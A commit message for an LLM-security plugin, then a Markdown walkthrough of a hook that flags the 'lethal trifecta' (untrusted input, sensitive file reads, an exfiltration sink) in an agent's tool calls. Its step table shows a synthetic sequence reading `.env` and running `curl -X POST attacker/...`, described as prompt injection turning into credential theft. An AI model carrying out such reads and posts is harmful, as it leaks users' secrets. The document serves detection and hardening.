Kjell Tore Guttormsen
fdec4b36ad
Closes Phase 3 (B11) of the v8.0.0 plan. Three parts, all with the failing
test written first.
riskScoreV1 removed. scanners/lib/severity.mjs drops riskScoreV1() and its
SEVERITY_WEIGHTS_V1 table - @deprecated since v7.0.0, kept for diff/comparison,
zero callers in code or tests (re-verified, not taken from the plan). The v1
weights are recorded in CHANGELOG so an old score stays re-derivable. riskScore
(v2) is untouched; a test pins that one critical still lands in the 70-95 tier
and that 50 lows score below it, which is exactly the case v1 collapsed to 100.
Posture category 12 no longer keys off an identifier name. The check was
/TRIFECTA_MODE/i over the session-guard source, which measured what a constant
was CALLED rather than whether enforcement was configurable. With the env-var
gone, that regex would have dropped every correctly-migrated project from PASS
to PARTIAL - the gate punishing the migration it exists to encourage. It now
matches getPolicyValue('trifecta', 'mode', ...) and still accepts a pre-v8
vendored guard reading the old env-var, because a third-party project carries
its own hook copy and is equally configurable either way; the evidence line
says which of the two was found. The PARTIAL finding recommended setting an
env-var that v8 ignores; it now names the policy key. The grade-a fixture hook
moves to the policy-era form.
Two never-implemented env-vars deleted from the docs. LLM_SECURITY_SCR_OFFLINE
(ci-cd-guide) and LLM_SECURITY_OFFLINE (supply-chain-attack example) were
documented as OSV.dev / npm-audit kill-switches. No code has ever read either -
verified by grep across scanners, hooks and scripts, which finds them only in
markdown. A promised kill-switch that does nothing is worse than a documented
absence: it is trusted precisely when the run is meant to be air-gapped. The
docs now say there is none and that egress must be blocked at the network
layer. The LLM_SECURITY_AUDIT_* wildcard is narrowed to the one real key.
Docs. Migration section in README + CHANGELOG with the env-var -> policy-key
table, the detection commands (env + shell rc + .envrc + workflows), and the
explicit warning that a removed variable is now INERT rather than an error -
which is the failure mode that loses a project its configuration silently. The
hardening-guide env table splits into surviving vars and a removed-vars
migration table; its "promote to block" runbook named two variables that no
longer exist. Also swept: CLAUDE.md hook table, scanner-reference, ci-cd-guide,
both lethal-trifecta example docs, mitigation-matrix, injection-research.
Test counts in README/CLAUDE.md synced 2034 -> 2045.
Suite 2045 tests, 0 fail (2039 + 4 posture-trifecta + 2 riskScoreV1). The two
known parallel-load flakes did not recur this run.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01BB4vXvwvtW4dxbPRd6vsez
104 lines
4.4 KiB
Markdown
104 lines
4.4 KiB
Markdown
# Lethal Trifecta Walkthrough
|
|
|
|
> **WARNING: This is a security demonstration fixture, NOT a real attack.**
|
|
> All payloads are synthetic. No external network is contacted, no real
|
|
> file is read, no real command is executed. The script only feeds JSON
|
|
> payloads to one of llm-security's hook scripts.
|
|
|
|
## What this demonstrates
|
|
|
|
The **Rule of Two** (Meta, Oct 2025): an agent must never simultaneously
|
|
hold all three of:
|
|
|
|
1. **Untrusted input** — content the model didn't author (web pages, MCP
|
|
output, document uploads, prompt injection surface)
|
|
2. **Sensitive data access** — files like `.env`, `.ssh/`, `.aws/`,
|
|
credential stores
|
|
3. **Exfiltration sink** — a path off the box (HTTP POST, scp, paste sites)
|
|
|
|
Any two are acceptable. All three at once is the **lethal trifecta**
|
|
(Simon Willison / Invariant Labs framing) — at that point, prompt
|
|
injection becomes credential theft.
|
|
|
|
`post-session-guard.mjs` (PostToolUse hook on every tool) tracks tool
|
|
calls in a 20-call sliding window and emits a SECURITY ADVISORY when all
|
|
three classes appear. This walkthrough shows it firing on a 5-step
|
|
sequence.
|
|
|
|
## Sequence
|
|
|
|
| # | Tool | Class | Advisory? |
|
|
|---|------|-------|-----------|
|
|
| 1 | WebFetch | input_source | no — only one class |
|
|
| 2 | Read `/path/.env` | data_access (sensitive) | no — only two classes |
|
|
| 3 | Bash `curl -X POST attacker/...` | exfil_sink | **YES — trifecta closes** |
|
|
| 4 | Bash `ls -la` | neutral | no — already warned in window |
|
|
| 5 | Bash `curl -X POST attacker/...` | exfil_sink | no — suppressed |
|
|
|
|
The advisory at step 3 lists the evidence and recommends remediations
|
|
(disable HTTP exfil, gate sensitive-path reads, narrow tool surface).
|
|
Step 4-5 are present to show suppression: `post-session-guard` writes a
|
|
warning marker into the state file so the operator isn't spammed by the
|
|
same trifecta repeating within the window.
|
|
|
|
## How to run
|
|
|
|
```bash
|
|
cd plugins/llm-security
|
|
node examples/lethal-trifecta-walkthrough/run-trifecta.mjs
|
|
|
|
# Detailed output (full advisory text + stderr)
|
|
node examples/lethal-trifecta-walkthrough/run-trifecta.mjs --verbose
|
|
```
|
|
|
|
Expected: `5 pass, 0 fail` and a `SECURITY ADVISORY (session-guard)`
|
|
preview after step 3.
|
|
|
|
## Hooks / scanners involved
|
|
|
|
- **`hooks/scripts/post-session-guard.mjs`** — the only hook invoked.
|
|
Configurable via `policy.json` `trifecta.mode` (`block` / `warn` /
|
|
`off`; default `warn`) in `.llm-security/policy.json`.
|
|
|
|
This example uses `mode: warn` (default). In `block` mode the third
|
|
call's advisory becomes a hard block (exit 2) and the agent action is
|
|
denied — see `docs/security-hardening-guide.md` §3 for when to switch.
|
|
|
|
## OWASP / framework mapping
|
|
|
|
| Code | Framework | Why |
|
|
|------|-----------|-----|
|
|
| LLM01 | OWASP LLM Top 10 (2025) | Prompt injection lands via the input_source leg |
|
|
| LLM02 | OWASP LLM Top 10 (2025) | Sensitive output disclosure (the .env exfil) |
|
|
| ASI01 | OWASP Agentic Top 10 | Excessive Agency — agent holds all three capabilities |
|
|
| ASI02 | OWASP Agentic Top 10 | Agent Data Leakage — exfil sink + sensitive read |
|
|
|
|
## State isolation
|
|
|
|
`post-session-guard` stores per-session state at
|
|
`${os.tmpdir()}/llm-security-session-${ppid}.jsonl`. Because all five
|
|
hook invocations are spawned by the same `run-trifecta.mjs` process,
|
|
they share that script's PID as their parent PID — so the entire
|
|
walkthrough lives in a single state file. The script deletes the file
|
|
in a `finally` block before exiting. **Your real session state under
|
|
`/tmp/` is never touched.**
|
|
|
|
## Limitations
|
|
|
|
- The walkthrough demonstrates the *primary* 20-call sliding-window
|
|
trifecta. It does not exercise the 100-call slow-burn variant
|
|
(`SLOW_BURN_MIN_SPREAD = 50`), the MCP-concentrated variant
|
|
(all three legs from the same MCP server), behavioral drift via
|
|
Jensen-Shannon divergence, or volume-threshold advisories.
|
|
Those have their own unit tests under `tests/lib/post-session-guard.*`.
|
|
- This is deterministic detection. It does not exercise the
|
|
`block`-mode exit-2 path — set `"trifecta": {"mode": "block"}`
|
|
and re-run if you want to see the script fail at step 3.
|
|
|
|
## See also
|
|
|
|
- `docs/security-hardening-guide.md` §3 — Rule of Two and configuration
|
|
- `knowledge/owasp-agentic-top10.md` — ASI01 / ASI02 background
|
|
- `knowledge/deepmind-agent-traps.md` — adjacent attack categories
|
|
- `examples/prompt-injection-showcase/` — the input_source leg in isolation
|
|
- `expected-findings.md` (in this folder) — the testable contract
|